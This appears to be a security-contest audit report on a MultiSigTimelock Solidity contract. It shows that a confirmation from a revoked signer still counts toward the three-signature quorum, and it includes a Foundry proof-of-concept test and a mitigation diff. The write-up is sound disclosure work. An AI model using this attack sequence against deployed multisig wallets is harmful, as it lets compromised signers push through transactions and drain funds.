MultiSig Timelock
First Flight #55
Beginner FriendlyWallet
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

Attacker can ensure their malicious transaction remains confirmable by having their confirmation persist even after their signing role is revoked

Author Revealed upon completion

Attacker can ensure their malicious transaction remains confirmable by having their confirmation persist even after their signing role is revoked

Description

The MultiSigTimelock contract is designed such that three confirmations are required to execute a transaction, as defined by REQUIRED_CONFIRMATIONS = 3 [line 90]. When a signer confirms a transaction, the confirmation count is incremented in _confirmTransaction [line 341]. Critically, the execution logic in _executeTransaction [line 355] relies solely on this counter to meet the quorum: "if (txn.confirmations < REQUIRED_CONFIRMATIONS) { ... }" The identity of who provided the confirmation is checked against s_signatures to prevent double-signing, but is not re-validated against the current list of active signers.

If a signer (Signer A) confirms a malicious transaction and the Owner subsequently revokes Signer A's SIGNING_ROLE via revokeSigningRole, Signer A's confirmation remains counted toward the quorum. Because Signer A is no longer a signer, they cannot call revokeConfirmation, locking in their malicious approval. This flaw effectively reduces the required number of trusted, active signers needed to execute the transaction, weakening the multisig security. If the quorum is 3, and a revoked signer provided 1 confirmation, only 2 remaining signers are required for execution, despite the Owner having taken administrative action to isolate the compromised party.

Risk

Likelihood: Medium

  • While this requires a specific sequence of events (Revocation after Confirmation), handling compromised signers is a core function of the contract, and failing to handle their pending actions correctly is a significant oversight.

Impact: High

  • Quorum Bypass: A transaction can be executed with fewer than the required number of currently trusted signatures. For example, if 3 signatures are required, a transaction could potentially be executed with only 2 trusted signatures plus 1 "stale" signature from a revoked (and potentially malicious) account.

  • Irrevocable Malicious Votes: Once a compromised key signs a malicious transaction, that "vote" is permanently locked in. Even if the admin reacts immediately to revoke the compromised key, the attacker's contribution to the quorum persists, making it easier for them to execute the attack if they can compromise fewer remaining signers (or if remaining signers are functionally honest but confirm based on trust).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {Test, console} from "forge-std/Test.sol";
import {MultiSigTimelock} from "../src/MultiSigTimelock.sol";
​
contract PhantomVoteTest is Test {
MultiSigTimelock public multisig;
address public owner;
address public signer1;
address public signer2;
address public signer3;
address public maliciousSigner;
​
function setUp() public {
owner = makeAddr("owner");
signer1 = makeAddr("signer1");
signer2 = makeAddr("signer2");
signer3 = makeAddr("signer3");
maliciousSigner = makeAddr("maliciousSigner");
​
vm.startPrank(owner);
multisig = new MultiSigTimelock();
​
multisig.grantSigningRole(signer1);
multisig.grantSigningRole(signer2);
multisig.grantSigningRole(maliciousSigner);
vm.stopPrank();
}
​
function testPhantomVotePersistsAfterRevocation() public {
vm.startPrank(owner);
uint256 value = 0.5 ether;
vm.deal(address(multisig), 10 ether);
​
uint256 txnId = multisig.proposeTransaction(owner, value, "");
vm.stopPrank();
​
vm.prank(maliciousSigner);
multisig.confirmTransaction(txnId);
​
MultiSigTimelock.Transaction memory txn = multisig.getTransaction(
txnId
);
assertEq(txn.confirmations, 1, "Confirmation count should be 1");
​
vm.prank(owner);
multisig.revokeSigningRole(maliciousSigner);
​
assertFalse(
multisig.hasRole(multisig.getSigningRole(), maliciousSigner)
);
​
txn = multisig.getTransaction(txnId);
assertEq(
txn.confirmations,
1,
"Confirmation count remains 1 after revocation"
);
​
vm.prank(signer1);
multisig.confirmTransaction(txnId);
​
vm.prank(signer2);
multisig.confirmTransaction(txnId);
​
txn = multisig.getTransaction(txnId);
assertEq(txn.confirmations, 3, "Confirmation count matches quorum");
​
vm.prank(signer1);
multisig.executeTransaction(txnId);
​
txn = multisig.getTransaction(txnId);
assertTrue(txn.executed, "Transaction executed with a phantom vote");
}
}

Recommended Mitigation

--- src/MultiSigTimelock.sol
+++ src/MultiSigTimelock.sol
// CHECKS
// 1. Check if enough confirmations
- if (txn.confirmations < REQUIRED_CONFIRMATIONS) {
- revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, txn.confirmations);
+ uint256 validConfirmations;
+ for (uint256 i = 0; i < s_signerCount; i++) {
+ if (s_signatures[txnId][s_signers[i]]) {
+ validConfirmations++;
+ }
+ }
+
+ if (validConfirmations < REQUIRED_CONFIRMATIONS) {
+ revert MultiSigTimelock__InsufficientConfirmations(REQUIRED_CONFIRMATIONS, validConfirmations);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!